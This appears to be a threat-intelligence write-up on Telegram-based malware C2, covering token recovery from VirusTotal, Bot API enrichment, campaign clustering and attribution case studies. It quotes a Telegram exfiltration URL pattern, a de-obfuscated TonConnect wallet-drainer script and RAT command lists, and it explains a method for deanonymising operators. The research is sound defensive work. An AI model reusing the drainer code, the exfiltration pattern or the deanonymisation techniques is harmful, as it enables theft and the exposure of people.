
Executive Summary
Telegram has become a common communication back-end for malware. The reason is simple: the Bot API gives any malware author a free, TLS-protected, globally reachable message bus, with no infrastructure to rent, no domain to burn and no certificate to manage. A Stealer ships one line, https://api.telegram.org/bot<token>/sendDocument?chat_id=<id>, and every batch of stolen credentials lands in the operator’s private chat.
The same convenience works against the operator. The bot token and the destination chat_id are usually embedded in the sample, so anyone who recovers them inherits the same API access the malware had. And the Bot API will answer questions about its own bots quite freely.
This post documents, end to end, how a 9,898-row intelligence collection was built (covering 9,678 unique bot tokens, 9,756 unique malware sample hashes and 6,512 distinct destination chats), then enriched, clustered and mined. It covers:
This is a living dataset, and this post covers only a slice of it. Every figure here is the collection as it stood on 31 December 2025, covering samples with VirusTotal first-seen dates from 2016 through December 2025. December 2025 is a deliberate cutoff, not a typo for a later date. The pipeline has kept running since, but nothing collected after that day is in the numbers below, and the rest of the back-catalogue is still being imported. So the real total is larger by now; read these as a point-in-time measurement of an ongoing collection, not a closed total.
- Token and chat_id recovery
- PocketBase as the data store
- Information gathering via the Bot API
- Clustering records into campaigns
- Attribution case studies
Key findings
- 9,898 Telegram-malware observations were collected from VirusTotal pivots.
- 9,678 unique bot tokens and 6,512 destination chats were recovered.
- 6,783 rows used positive
chat_ids (1:1 private-chat destinations — a separate count from the 6,110 rows whose token is flaggedprivate/revoked), directly exposing the recipient Telegram user ID. - 854 operator campaigns were clustered through token, chat, webhook, sample, creator, description and menu-URL reuse.
- 185 rows exposed webhook infrastructure, giving high-value pivots beyond Telegram.
- Passive Bot API enrichment recovered admin/creator data for 207 rows without accessing victim messages.
A line that is not crossed
With a live token it would be trivial to forward the messages out of the chat, and doing that across these chats would surface hundreds of thousands of records about both victims and attackers: stolen credentials, device fingerprints, screenshots, stolen files, webcam pictures, attacker commands, operator chatter… It is a tempting trove, but this is not done here. Forwarding or inspecting live chat traffic would likely be unlawful in Germany and other jurisdictions, and in any case it is firmly out of scope for this post. The point of what follows is that none of it is needed to produce useful intelligence.
1. The lazy operator’s C2
A RAT needs four things from its back-end: a way to receive stolen data, a way to issue commands, some camouflage, and a way to stay reachable without the defender taking it down. Renting a VPS, registering a typosquatting domain and standing up a panel covers all four, and tends to get sinkholed within hours. The Telegram Bot API covers all four for free, it rides on api.telegram.org, an endpoint most corporate proxies will not block wholesale.
The price the operator pays is embedding a long-lived credential in malware that will, sooner or later, end up on VirusTotal. A Telegram bot token (123456:AA...) is precisely that: a bearer token, where possession alone is authorization. And since the malware also has to tell Telegram where to deliver the loot, the chat_id rides along with it. Recover both, and a great deal of useful information opens up.
That reachability has limits, though. In July 2026 OFAC sanctioned First VPN Service (1VPNS), a no-log VPN that ransomware groups had rented for years, along with a Belarusian who sells cryptors. 1VPNS had listed t.me/FirstVPNService as its contact. Since .me is Montenegro’s country domain, the registry there put all of t.me on hold to comply, and Telegram’s short-link domain stopped resolving for a while. The sanction was never aimed at Telegram; t.me just got caught in it.
None of this reaches the exfiltration channel this post is about. The samples talk to api.telegram.org, which stayed up throughout, and telegram.me kept working too. Only the vanity domain went down. But it says something about the “nothing to burn” pitch: the infrastructure these operators lean on can get knocked over by enforcement that was pointed at someone else.
2. Step 1 — The VirusTotal pivot: every file that talks to api.telegram.org
The seed question: how can the bot token and chat_id be recovered without hours of manual malware analysis? VirusTotal answers it. The files that contacted api.telegram.org are already indexed there, and the contacted URLs VirusTotal extracted from each one usually contain the token and chat_id verbatim.

Figure 1: VirusTotal search for files contacting api.telegram.org
This is driven in two stages:
Stage A: collect the file set. Starting from a VirusTotal search for files related to the api.telegram.org domain, the result set is walked page by page (40 files per page), each page saved as page_N.json. Each response carries a links.next. The 15-second public-API rate limit is respected throughout:
curl --silent --request GET \
--url 'https://www.virustotal.com/api/v3/.../relationships/files?cursor=<next>&limit=40' \
--header 'accept: application/json' \
--header 'x-apikey: <VT_API_KEY>' \
-o 'page_42.json'As each page is saved, it is scanned in place. A file’s static metadata and strings often already contain the embedded https://api.telegram.org/bot… URL straight from the sample’s config, so every page_N.json is searched recursively for those URLs the moment it lands. (see Section 3.)
Stage B: resolve each file’s contacted URLs. Every file listed across those pages is then queried individually, with a second VirusTotal call for its contacted_urls:
curl --silent --request GET \
--url 'https://www.virustotal.com/api/v3/files/<file_hash>/contacted_urls?limit=40' \
--header 'accept: application/json' \
--header 'x-apikey: <VT_API_KEY>'
Figure 2: Files with bottoken chatid
Either way, whether from static strings (Stage A) or runtime contacted_urls (Stage B), the result is the same: a pile of Telegram API URLs. Turning those into validated database records is the next step.
3. Step 2 — Extracting the token and chat_id
Every Telegram URL from Step 1 goes through the same extraction, whether it came from a page’s static strings (Stage A) or from a file’s contacted_urls (Stage B). Parsing is deliberately simple, just two regexes:
def parse_telegram_url(url):
token = re.search(r'/bot([^/]+)', url)
chat_id = re.search(r'chat_id=([^&]+)', url)
return (token.group(1) if token else 'N/A',
chat_id.group(1) if chat_id else None)Next the token is validated live against getMe. This one call decides whether a record is written, classifies the bot, and reports its permissions:
url = f"https://api.telegram.org/bot{bot_token}/getMe"
# 200 ok -> valid bot -> store (username + permissions)
# error_code 401 -> token revoked / private / deleted -> store, tagged private=True
# error_code 404 -> malformed or deleted token -> skipA 200 ok also returns two permission flags, can_join_groups and can_read_all_group_messages, kept verbatim in a permissions field as can_read_all_group_messages=<true|false> can_join_groups=<true|false> (can_read_all_group_messages=true means the bot may read every message in a group, not just commands directed at it).
The bot username, token, hash, first_seen, the chat_id, the private flag and permissions are written into the database (more on this in Section 4).
Caveat on first_submission
The first_submission_date stored as first_seen in PocketBase is the moment VirusTotal first received the sample, not necessarily when the malware first appeared in the wild. A sample can circulate for weeks or months before anyone uploads it. That makes first_seen a lower bound on the malware’s true age, skewed by who uploads to VT and when rather than by attacker activity alone. This post uses it anyway, because it is the most useful date available. Read every date and span here as “no later than”, not “exactly when”.
The anatomy of a chat_id — and why a positive one is a gift
The destination id is not an opaque token; its sign and prefix encode the chat type, and that determines how much it tells you about the operator. Telegram has three relevant chat kinds:
| Chat type | chat_id form | Members | In the data | What it reveals |
|---|---|---|---|---|
| Private chat (1:1, user ↔ bot) | positive, e.g. 44XXXXXX | 2 (the user + the bot) | 6,783 | chat_id is the user’s user_id — i.e. the operator’s |
| Basic group (“normal”/private group) | negative, e.g. -863600015 | up to 200 | 426 | a small operator group; id changes on upgrade (below) |
| Supergroup / channel | negative with -100 prefix, e.g. -1002606021632 | up to 200,000 | 554 | a scaled or public channel |
When a bot is a member of a private chat, the chat_id is, by definition, the user_id of the human on the other end. A 1:1 chat has exactly two participants, and the bot is one of them. So for the 6,783 positive-id rows (the large majority of the collection) the destination id is already the recipient’s numeric Telegram user id, lifted straight from the malware. A group id hides the recipient behind a membership; a private chat does not. That thread is followed to its conclusion in the Nudge case study (Section 13.1).
Attribution caveat
Throughout this post, “operator” means the account configured to receive, administer or relay the malware bot. In some campaigns this may be the malware author; in others it may be a customer, mule, tester, shared service account or automated relay.
Side note: why some sourcechatid values aren't numbers
A small share of records hold a sourcechatid that is not a numeric chat id, and a handful are empty.
- The chat id was never hardcoded; it is a variable. The more capable authors do not bake the destination into the binary. They ship a placeholder and fetch the real
chat_idfrom a remote config. That lets them rotate the destination chat without rebuilding or redistributing the malware: they change one server-side value and every deployed sample silently retargets. In the static sample VirusTotal detonated, the field therefore holds the template variable rather than a number. Values likeYour_ID,**or leftover builder defaults are exactly this, a config slot that was empty (or filled at runtime) when the sample was captured. The same trick frustrates takedown, since there is no fixed chat to report. - @username addressing, not a variable at all. Telegram accepts a public
@channelnameas a validchat_id. Values such as@vt_dump,@konchatelor@freehackingclassesare legitimate destinations addressed by handle. If anything this is worse opsec for the operator, since a public handle is directly browsable.
4. Step 3 — The Database
The records needed somewhere to land that was schema-flexible, queryable, supported binary file fields, and required little maintenance. PocketBase fit these needs: a single Go binary, a built-in admin UI, a well-documented REST API. Every script in the pipeline is just GET/PATCH/POST against …/api/collections/<collectionname>/records with a bearer token.

Figure 3: The TI collection in the PocketBase admin UI
The collection schema:
| Field | Meaning |
|---|---|
botname | Bot username from getMe (e.g. tiklosg_bot) |
bottoken | token bot<id>:<secret> |
sourcechatid | Destination chat_id the malware exfiltrated to |
malwarefilehash | SHA-256 of the sample (VT) |
first_seen | VT first_submission_date of the sample |
private | true if the token returned 401 (revoked/private) |
permissions | Bot's own getMe flags: can_read_all_group_messages=… can_join_groups=… |
Families | VT suggested_threat_label (e.g. trojan.msil/asyncrat) |
Threat_Categories | VT popular_threat_category values |
Tria_ge | tria.ge analysis link (hash or webhook match) |
Chat_Name | Chat title / first name (getChat) |
User_Count | Member count (getChatMemberCount) — 0 means not retrievable, not zero members |
Admins | Space-separated userid:role pairs (getChatAdministrators) |
Commands | Registered slash-commands (getMyCommands) |
Webhook | Configured webhook URL (getWebhookInfo) |
bot_description | Bot's own About text (getMyDescription) — often a service ad |
menu_webapp_url | Menu-button web-app URL (getChatMenuButton) — a hosted panel |
pinned_message | Pinned message text (getChat.pinned_message) |
Creator_Picture / Chat_Picture | Downloaded profile/chat photos (file fields) |
Group | Campaign label assigned by the clustering step |
A row is one (token, chat, sample) observation, not one bot and not one sample. Token and sample are many-to-many (n:m): one sample can carry several tokens, and one token can show up in many samples. So neither malwarefilehash nor bottoken is unique across rows. A sample that ships a primary token plus a couple of backups leaves several rows with the same hash; a token baked into rebuilds, repacks or different loaders of one stealer leaves several rows with the same token. That is also why there are more rows than unique hashes or unique tokens, and the clustering step (Section 10) keys on exactly that overlap.
5. Step 4 — Enrichment: what the Bot API gives you for free
Once a token and Chatid are in the database, a daily enrichment pass interrogates the live Bot API for everything it will volunteer. The sequence, per bot+chat, is:
chat_info = 'getChat' # title / chat_name + chat photo + pinned_message
count = 'getChatMemberCount' # member count
admins = 'getChatAdministrators' # creator + admins
commands = 'getMyCommands' # registered C2 verbs
webhook = 'getWebhookInfo' # delivery URL, if any
descr = 'getMyDescription' # bot's About text (often a service ad)
menu = 'getChatMenuButton' # menu web-app URL (hosted panel)getChatAdministrators returns every admin of the destination chat with their numeric user_id and a status of either administrator or creator. The result is stored as userid:status pairs:
7862389560:administrator 6394819451:creatorWhen a creator is present, getUserProfilePhotos follows up and downloads the operator’s profile photo into the Creator_Picture file field. The same is done for the chat itself (Chat_Picture) using the big_file_id from getChat.photo.
A Telegram basic group is not a fixed object. Once it crosses certain thresholds, Telegram automatically converts it into a supergroup, and that conversion rewrites the chat_id: the old basic-group id (-863600015) is retired and a new -100…-prefixed supergroup id takes its place. They are two different numbers for what the user experiences as one group.
This auto-migration is where operators who hardcode the wrong chat_id shoot themselves in the foot. A malware author who baked a basic-group id into the binary, then changed some options or let that group grow popular enough to flip into a supergroup, ends up with samples that keep POSTing loot to a dead id, because Telegram does not silently forward to the new one. The dynamic-chat_id authors from Section 3 avoid this, which is one more reason the careful ones resolve the destination at runtime.
For the pipeline the migration is just a hazard to handle. getChatMemberCount fails with 400 and a parameters.migrate_to_chat_id pointer to the new id. The pipeline watches for exactly that, follows it so later calls hit the live chat, and stores the new id. That is also a reason why one chat can show up under two chat_ids over its lifetime:
new_id = (data.get('parameters') or {}).get('migrate_to_chat_id')Across the collection, this passive enrichment recovered 2,874 chat names, 2,952 live member counts, 207 admin/creator lists, 1,050 chat photos and 109 operator profile photos, and from the bots themselves another 210 self-descriptions, 15 menu-button web-app URLs and 12 pinned messages.
6. Token permissions: who can read what
Not every call works against every token. Knowing the permission model tells you in advance what a given chat will give up, and it explains the gaps in the data above.
| Bot API method | Token needed | Bot must be in the chat? | What it reveals |
|---|---|---|---|
getMe | valid token | no | bot id, username, permission flags (can_join_groups, can_read_all_group_messages) |
getWebhookInfo | valid token | no | C2 delivery URL (or none) |
getMyCommands | valid token | no | registered command surface |
getMyDescription | valid token | no | bot About text (service ads/handles) |
getChatMenuButton | valid token | no | menu web-app URL (hosted panel) |
getChat | valid token | yes | chat title, photo, type, pinned message |
getChatMemberCount | valid token | yes | member count (migration probe) |
getChatAdministrators | valid token | yes | creator + admin user_ids |
getUserProfilePhotos | valid token | bot must "see" the user | profile-photos |
The lines that matter are the ones that need the bot to still be a member of the chat. getChatAdministrators, the route to operator identity, only works while the bot is still in the loot chat. That is why creators came back for only a minority of chats: in old, abandoned or already-cleaned chats the bot is gone, and with it the creator. It is also why a live lookup can fail with Bad Request: user not found once a bot no longer shares any chat with the target account.
What the bot itself is allowed to do
getMe also returns two permission flags set by the bot’s owner. They are stored verbatim in the permissions field as can_read_all_group_messages=<true|false> can_join_groups=<true|false>:
| Flag | Meaning | What it tells us |
|---|---|---|
can_join_groups | whether the bot may be added to groups at all | false = locked to 1:1 private chats — typical for a stealer that only ever DMs its operator |
can_read_all_group_messages | the bot’s privacy mode | true = reads every message in a group it sits in; false (default) = only commands and replies directed at it |
Neither flag changes what the token gives us; both describe the operator’s own setup. Read together, though, they say a lot about how the bot is run: a group-wide harvester (can_read_all_group_messages=true) or a private 1:1 drop (can_join_groups=false).
7. Webhooks: what it means when one is set
Every Telegram bot consumes updates in exactly one of two mutually-exclusive modes:
- Long polling: the bot repeatedly calls
getUpdatesto pull waiting messages, and no webhook is set. - Webhook: the operator registered a URL with
setWebhook, and Telegram pushes every update (every victim message, every uploaded document) to that URL as an HTTPS POST. A webhook also lets the operator put a load balancer or relay in front of the listener.
So a non-empty Webhook field is a strong intelligence signal:
There is a second piece of attacker infrastructure. The webhook URL is a server the operator controls, or a third-party relay they use. Either way it is an IOC and a fresh pivot for passive DNS, TLS-certificate history and web-history archives. Several of the recovered URLs point at bespoke domains (whok.dyxless.im, prohandiq.com, gofuck.marrkkshop.ru, meduza-lock.online), others at relay or builder services (livegram.io, manybot.io, webhook.site, *.pipedream.net, *.trycloudflare.com). A trycloudflare.com or pipedream.net webhook reads as a throwaway tunnel; a registered domain says the operator owns more than just the bot.
The webhook is also a clustering key (Section 10): two samples that were never seen sharing a token or a chat, but that POST to the same webhook URL, are the same operator. Only 185 of the rows carry a recovered webhook, but each one is a valuable pivot.
Figure 4: Webhook hosts
The host breakdown separates committed operators (bespoke domains) from copy-paste kit users (off-the-shelf bot-builder/relay services and throwaway tunnels).
Webhook URLs are also fed into tria.ge as a search term: if a sandbox ever detonated a sample that beaconed to that URL, the result is a free behavioural report and a second, independent confirmation of the chat (Section 9).
8. Reading C2 capability from the command list
Some bots are set up for two-way communication, which turns the bot into a full C2 server inside Telegram. getMyCommands returns the slash-command menu the operator registered. For a benign bot that is a help menu; for a malware bot it is a published list of C2 verbs, and some operators lay out their whole command-and-control surface.
The vocabulary maps neatly onto the malware’s role. A few real command sets, quoted verbatim from the collection:
| Bot | VT family | Registered commands |
|---|---|---|
RatSharpUser2Bot | trojan.msil/njrat | 92 commands — /screenshot /webcam /microphone /livedesktop /keyloggerlogs /stealer /clipperlogs /clipboard /run /cmd /bat /code /download /upload /encryptfile /decryptfile /filebomb /bsod /power /uac /taskkill /killall /setcritical /setwallpaper /jumpscare /disabletaskmgr /setpassword /getpcinfo … |
AvernusRAT_bot | trojan.msil/adamantium | /location /whoami /screenshot /remotebinary /processes /delete /gather /metadata /ls /execute /power /playnoise /gatherclip /messagebox |
Gotool3bot | trojan.msil/discord | /screenshot /webcam /message /cd /dir |
jke_bot (Group-549) | trojan.malapp | /time /loc /map /loc601 /loc602 /loc603 /loc604 /map601 /map602 … |
hjkas_bot | trojan.msil/stormkitty | /logs /del_logs /change_cookie /sys /old_orders /power_off /watermark |
ControlleriStealerYouBot | trojan.msil/asyncrat | /login /search_local /search_cloud /price /admin |
The bot also advertises itself. Beyond commands, getMyDescription and the menu-button web-app URL are free, token-only reads, and operators routinely fill them with service ads, seller handles and panel links. Of the bots still alive, 210 set an About text and 15 expose a menu web-app URL. When the same description turns up across many distinct bots, it points to a shared MaaS or service template: MasRep (a homoglyph-obfuscated account-takedown/mass-report service, ×11 bots, order bot @MasStreakBot), Soulkcrypter (a crypter, ×7), the HaxBinLab community (×5), and AI-porn affiliate spam carrying a single referral code. The pinned_message (12 chats) sometimes carries the operator’s own ad, or, when they are careless, a leaked bot token. These self-published fields are worth storing and clustering on (Section 10); one menu URL is the whole starting point of Case study C (Section 13.3).
9. Step 5 — Threat classification via VirusTotal & tria.ge
Two independent labels are attached to each sample.
VirusTotal. For any record missing Families/Threat_Categories a re-analysis of the hash is triggered (POST /files/{hash}/analyse), the hash recorded in a hand-off file, and on a later pass popular_threat_classification.suggested_threat_label is read back (→ Families, e.g. trojan.msil/asyncrat) and popular_threat_category (→ Threat_Categories, e.g. trojan, spyware). Because one hash may sit in several rows, every matching row is updated from a single VT lookup.
tria.ge. Recorded Future’s tria.ge is searched for each sample, first by hash (auto-selecting md5:/sha1:/sha256:/sha512: by length), then, if the hash misses, by webhook URL (url:<webhook>). A hit gives a public detonation report (https://tria.ge/<id>) stored in Tria_ge. The webhook fallback is what makes this useful: even when a specific hash was never submitted to tria.ge, another sample beaconing to the same operator webhook often was, and that report transfers as corroboration. 1,498 rows now carry a tria.ge link.
10. Step 6 — Clustering operators with Union-Find
Individual rows are chats; operators run many chats. To recover the operator, clustering is treated as a connected-components problem and solved with Union-Find (disjoint-set). Two records are merged into the same component if they share any of eight join keys:
- the same bot ID (same bot in two samples): a token is
bot<id>:<secret>, the part before the colon being the bot’s permanent account id and the part after it the secret. Only the secret can be revoked (a new secret, same id), so two tokens sharing the id are the same bot with a rotated credential; clustering therefore keys on the id, not the full token, which also catches rotations, - the same sourcechatid (two bots delivering to the same chat),
- the same webhook URL (two chats POSTing to one listener),
- the same malwarefilehash (one sample, multiple bots. First Bot and Backup bot),
- the same creator user_id (extracted from
Admins, creator role only; administrators are ignored, since an operator may add unrelated co-admins), - the same bot_description (a shared MaaS/service template across distinct bots), with the bot-takeover/seizure notice “…identified as malicious C2 infrastructure…” and trivial texts (
Hi,/start,.) explicitly excluded so they never merge unrelated bots, - the same menu_webapp_url (the same hosted panel / mini-app),
- the same referral/affiliate code (
ref_<code>parsed frombot_description/pinned_message): the same promoter even when the advertised bot rotates.
Merging is transitive: if A shares a token with B, and B shares a creator with C, then A, B and C are one campaign. After components are built, a label Group-N is assigned only to components with ≥ 2 distinct sample hashes.
At the time of writing, the model produced 854 Groups.
11. What the numbers say
Collection at a glance (snapshot: 31.12.2025; window 2016–December 2025; the pipeline runs daily and these counts keep rising)
| Metric | Value (at time of writing) |
|---|---|
| Rows | 9,898 |
| Unique bot tokens | 9,678 |
| Unique bot usernames | 3,716 |
| Unique sample hashes | 9,756 |
| Unique destination chats | 6,512 |
| Unique creators identified | 136 |
| Rows with a private-flagged token (401, revoked/private) | 6,110 |
| Rows with a webhook | 185 |
| Rows with admin/creator data | 207 |
| Rows with a command list | 159 |
| Rows with a bot description | 210 |
| Rows with a menu web-app URL | 15 |
| Rows with a pinned message | 12 |
| Rows with a tria.ge link | 1,498 |
| Campaigns (Union-Find) | 854 |
Figure 5: Bot status
11.1 Volume over time
Dating each sample by VirusTotal first_submission_date and counting unique hashes per month shows the trajectory of Telegram-based malware in the wild. The technique appears sporadically from 2017, becomes routine through 2021–2023 (around 100–200 new samples/month), and then scales further from mid-2024 onward, holding roughly 190–270 new samples per month, with a peak of 270 in March 2025.
Figure 6: Monthly unique malware
11.2 Families
Six families dominate, and they are the commodity .NET stealers/RATs typically seen phoning home to Telegram. jalapeno, asyncrat and xworm alone account for over 1,500 unique samples.
Figure 7: Top families
The lead changes hands over time: AsyncRAT led through early 2024, jalapeno took over for the second half of 2024, and XWorm has been the most common label across most of 2025. The hand-offs are visible in the chart, first jalapeno’s late-2024 spike, then XWorm’s steady climb into 2025:
Figure 8: Families over time
11.3 Threat categories
Categories (a sample can carry several) confirm the mix: a predominantly trojan base, a substantial spyware/stealer and dropper layer, and sizeable ransomware (804), downloader and banker (303) populations. The most prominent single banker family is the Android NGate cluster (the broadest single-operator campaign in the collection, Section 12), with clipbankers and MSIL stealers making up the rest.
Figure 9: Threat categories
A caveat on these labels
Both Families and Threat_Categories come straight from VirusTotal’s suggested_threat_label, an AV-engine majority vote rather than a curated taxonomy. So a fair share of it is heuristic noise (genericfca, msilheracles, stealer) rather than real family names. The clean fix would be to normalise everything onto a reference like malpedia, but only about a third of the rows carry a label precise enough to map there cleanly.
11.4 Chat reuse
Operators reuse chats. 782 destination chats received ≥ 2 distinct malware samples, and many were reused across different families and across long spans:
- chat
12XXXXXX79: 15 samples, 11 families in 611 days, the most-reused chat in the set. - chat
65XXXXXX40: 14 samples, 12 families in 203 days (Jul 2024 → Feb 2025). The widest family spread in the set, a dozen families in one chat in seven months. - chat
14XXXXXX38: the same chat reused over 1,512 days (Mar 2021 → May 2025), kept alive for over four years.
The distribution is heavily single-use: most chats appear once. The reused tail is smaller, but that is where the operators sit:
Figure 10: Chat reuse
Chat reuse across a family change is one of the more reliable single-signal links: the malware changed, but the human keeping the destination chat did not.
12. Interesting groups
Three angles bring out the clusters worth a closer look: breadth (many bots/samples), longevity (a wide first_seen span) and size (member count).
Broadest single-creator campaign: the NGate cluster (creator 814XXXX700). One creator runs 10 bots across 23 loot chats and 23 unique Android-banker samples in a ~145-day burst (Jun–Oct 2025). It is among the largest clusters by sample count and the broadest attributable to a single creator, and a good illustration of how the shared creator id alone pulls ten otherwise-disconnected bots into a single campaign (Section 10).
Longest-lived campaigns. Several clusters span years: the malware rotates, but a join key (chat, token or creator) stays put.
| Cluster (pinned by chat) | Span | Hashes | Families | Window |
|---|---|---|---|---|
| chat 67XXXXX60 | 1,560 d | 2 | 2 | 2021-02 → 2025-05 |
| chat 14XXXXXX38 | 1,512 d | 5 | 5 | 2021-03 → 2025-05 |
| chat 12XXXXXX01 | 1,495 d | 2 | 2 | 2021-02 → 2025-03 |
| chat 44XXXXXX ("Nudge", Group-549) | 1,313 d | 3 | 1 | 2016-03 → 2019-11 |
| chat 13XXXXXX06 | 1,220 d | 2 | 2 | 2022-04 → 2025-08 |
Figure 11: Cluster longevity
Largest chat by membership. Most loot chats are tiny: 3–8 members, the operator plus a couple of accounts. The outlier is chat -100XXXXXXX0277, “FacMata.NET”, with 3,626 members, far larger than anything else and a sign of a public or semi-public channel rather than a private drop.
13. Attribution
The passive signals support attribution at several scales, and the case studies below take one each:
- One operator: a single actor undone by his own poor OPSEC.
- The whole population: where the operator base, as a group, is based.
- A service they run: a Malware-as-a-Service business reconstructed.
- A service they buy: the shared infrastructure behind a paid account-takedown service.
13.1 Case study A — “Nudge”: nearly four years of GPS stalkerware (chat 44XXXXXX, Group-549)
This cluster is a very long-lived single-chat operation in the collection: six bots delivering to one chat named “Nudge” from March 2016 to November 2019, a 1,313-day window. All six exfiltrate to the same sourcechatid (44…), two carry webhook pivots (script.google.com, cruke.org), and jke_bot’s /time /loc /map /loc601… commands give the capability away:

Figure 12: The six Nudge bots in the TI collection: one shared chat, two webhook pivots, GPS commands
myTelecam_botcontains a webhook:https://www.cruke.org/<token>/url.php. A registered third-party domain with a PHP listener. A domain is something you can chase in passive DNS and web-history archives.

Figure 13: Archived web-history snapshot of the cruke.org webhook host
The old website is not the only thing the collection turns up on Nudge. It also shows the flip side of the positive-chat_id point. Because the destination is a private chat, the recovered chat_id is the recipient account’s personal user_id. Pulling that account’s profile photos is instructive: the recovered profile photos appeared to identify a real personal account rather than a burner. We’ll leave it there.
Nothing identifying is published here, deliberately so
The point is methodological, not personal: a positive chat_id plus a careless operator collapses anonymity, and this case shows how little it takes.
13.2 Case study B — Geolocation
The Nudge case followed a single operator. This one zooms out to the whole population and asks a different question: where do these operators come from? Their Telegram app language is never visible, but operators label their world in their own language, and several independent metadata signals (the script of the chat names and usernames they pick, the flags and infrastructure they use, and the language of their bot descriptions) point the same way.
The map below combines them into one view. It is deliberately regional, not a country-accurate choropleth: what matters is the centre of gravity, not the precise borders. These are weak signals individually and should not be read as country attribution. Their value is in aggregate, where several independent indicators point to language communities and regional clusters.
Figure 14: Combined operator-origin map: name script, descriptions, flags and webhook ccTLDs
The three signals, taken apart:
Signal 1: the script of the chat names and usernames they choose. Bot usernames are no help here: Telegram forces them to be ASCII. The chat names are the giveaway: for the 6,783 private drops, a 1:1 chat title is the operator’s own first name. Across the 2,317 named chats that carry a detectable script (the rest are emoji- or digit-only) the breakdown is:
| Script | Named chats | Read |
|---|---|---|
| Latin | 2,070 | mostly opaque English-style handles, rarely country-attributable |
| Cyrillic | 200 | the largest identifiable cohort: real Russian/Ukrainian given names |
| Arabic / Persian | 32 | a distinct MENA and Persian/Kurdish segment |
| CJK* | a handful | not a real cohort: almost all invisible Hangul-filler padding (ㅤ) and full-width styling (丂ㄩҜㄩ), used for cosmetics, not language |
The same shows up in usernames: Cyrillic Кирилл, Владимир, Артём, Геннадий, Антон, Арсений, operators naming a private drop after themselves (the same opsec slip as Nudge, Section 13.1); and Arabic/Persian محمد, فاطمه, حسن, the Persian داستمبول رئیس, the Kurdish ئامانج.
Signal 2: flags and infrastructure. Operators sometimes stamp a country flag on the chat: Ukraine leads (×6), followed by Lebanon and Canada (×2 each), then single flags for Russia, Palestine, Spain, Libya, Brazil, Morocco, Portugal and India, an ex-USSR / MENA / LatAm spread. The webhook domains point the same way: country-code TLDs .ru (×8), .ir (×4) and .su (×2) sit among the bespoke relays, and one recurring webhook host, whok.dyxless.im (×15), is a Russian-language leak-lookup service, the kind of infrastructure a Russian-speaking operator would reach for (examined in Section 13.4).
Signal 3: the language the bots advertise in. The bot_description field (210 bots, 145 distinct texts) is a third, independent read. Most are Latin (137), but 56 are Cyrillic and 6 Arabic, and once Russian keywords and the homoglyph trick are counted in, roughly a third of the textual descriptions are Russian-speaking: a stealer-notification bot whose About reads «я скидываю все данные о [том], кто нажал на твой файл» (“I dump everything about whoever clicked your file”), promos like «Получи тг премиум сегодня» and «Один бот — тысячи источников данных», and the MasRep service template written in Coptic homoglyphs that mimic Cyrillic to slip past text filters (Section 8). The descriptions add no new region; they reinforce the same Russian-speaking core, with a smaller Arabic presence.
What it adds up to. The three signals (the script and given names in the chat titles, the flags and infrastructure, and the language of the descriptions) agree: the commodity Telegram-malware scene is internationally mixed, with a dominant Russian/Ukrainian-speaking core and a secondary Arabic/Persian/Kurdish presence, while the Latin-script majority stays largely anonymous behind English-style handles.
13.3 Case study C — Evi-Crypto: a turnkey crypto-drainer MaaS
The menu_webapp_url column is what made this case study possible. One alive bot, @SendUdemyLinksBot (cluster Group-582), carried a menu-button web-app pointing at evicrypto.cc. That single field is where the trail starts:

Figure 15: The starting record: an alive bot whose menu_webapp_url points at evicrypto.cc/app/fragmentnumbersspin
Step 1: the lure page and its code. The menu button points at evicrypto.cc/app/fragmentnumbersspin?botId=5080. It is a “TON SPIN” prize wheel dressed in Fragment / TON branding:

Figure 16: The “TON SPIN” lure page served by the bot’s menu button, showing “WELCOME BONUS FOR USER TON”
The wheel has one real purpose: to push the visitor toward a single button, Connect Wallet, which opens a standard TonConnect modal (Tonkeeper, Wallet-in-Telegram, and so on). That connect step is where the drain begins:

Figure 17: The “Connect your wallet” TonConnect prompt the lure funnels every visitor into
Viewing source, the wheel’s behaviour lives in one obfuscated file, evicrypto.cc/js/obv2.js (a javascript-obfuscator.io string-array build with a rotating decoder). Resolving the string array and inlining the lookups gives the clean logic below.
Step 2: the de-obfuscated script. A TonConnect drainer. The part that matters is executeTransaction: the transaction the victim signs is fetched from the operator’s own server (/api/getTxData/<wallet>), and every outcome is reported back to the operator (connect → requested → drained, with the signed txBoc):
var tonConnectUI = new TON_CONNECT_UI.TonConnectUI({
manifestUrl: 'https://evicrypto.cc/manifest/' +
(window.location.href.split('/').pop().split('?')[0]
|| window.location.href.split('/')[2].split('.')[0]) + '.json',
buttonRootId: 'connect'
});
const sendEvent = async (stage, body) =>
axios.post('/api/event/' + new URLSearchParams(location.search).values().next().value + '/' + stage + '/',
body, { headers: { Authorization: 'tg ' + window.Telegram.WebApp.initData } });
const getTxData = async () =>
(await axios.get('/api/getTxData/' + tonConnectUI.wallet.account.address,
{ params: { botId: /* from ?botId */, wallet: tonConnectUI.walletInfo.name } })).data;
const executeTransaction = async () => { // ★ THE DRAIN
try {
const messages = await getTxData();
const res = await tonConnectUI.sendTransaction({
validUntil: Math.floor(Date.now() / 1000) + 360,
messages });
return res;
} catch (e) {
if (e.message.includes('User rejects the action')) {
await sendEvent('declined', { address, wallet });
return await executeTransaction();
} else console.log(e);
}
};
tonConnectUI.onStatusChange(async w => {
if (w != null) {
await sendEvent(tonConnectUI.connectionRestored ? 'reconnect' : 'connect', { address, wallet });
await sendEvent('requested', { address, wallet }); // on failure: Swal "You don't have enough funds…"
fbq('track', 'Lead');
const res = await executeTransaction();
if (res?.boc) sendEvent('drained', { address, wallet, txBoc: res.boc });
} else sendEvent('disconnect', { address, wallet });
});Step 3: The domain. evicrypto.cc issues a 302 redirect to the front bot @evicrypto_bot, the operation’s storefront, in mixed Russian and English. The bot’s start page reads like a directory of the whole operation, linking the lure domain and the public channels:

Figure 18: The @evicrypto_bot front bot: a storefront linking evicrypto.cc and the operation’s channels
Step 4: the bots and channels behind it. From that front bot, an organised crypto-drainer Malware-as-a-Service comes into view. The front bot’s page links three public channels, with a paid academy one more hop on (via the manuals channel). Everything below is passive and public:
- @EviCrypto_cash (~2.63K subs), the payout / social-proof channel: a stream of “successful signup” (Успешное подписание / Выплаты) posts showing drained wallet balances, each tagged by the affiliate team that brought the victim (
#BAZA_Drainello,#BAZA_STUPID,#BAZA_CAPITALIST, and so on; observed amounts from ~$38 up to ~$2,500 per post). - @Evi_Manuals (~1.23K subs), fraud playbooks: TON draining, AML-evasion, traffic schemes across FB/TikTok/Twitter/YT/IG including Telegram channel hijacking, FB cloaking/anti-ban, and bot/domain rotation after “burnout”. Each manual post links into a private group rather than showing the content.
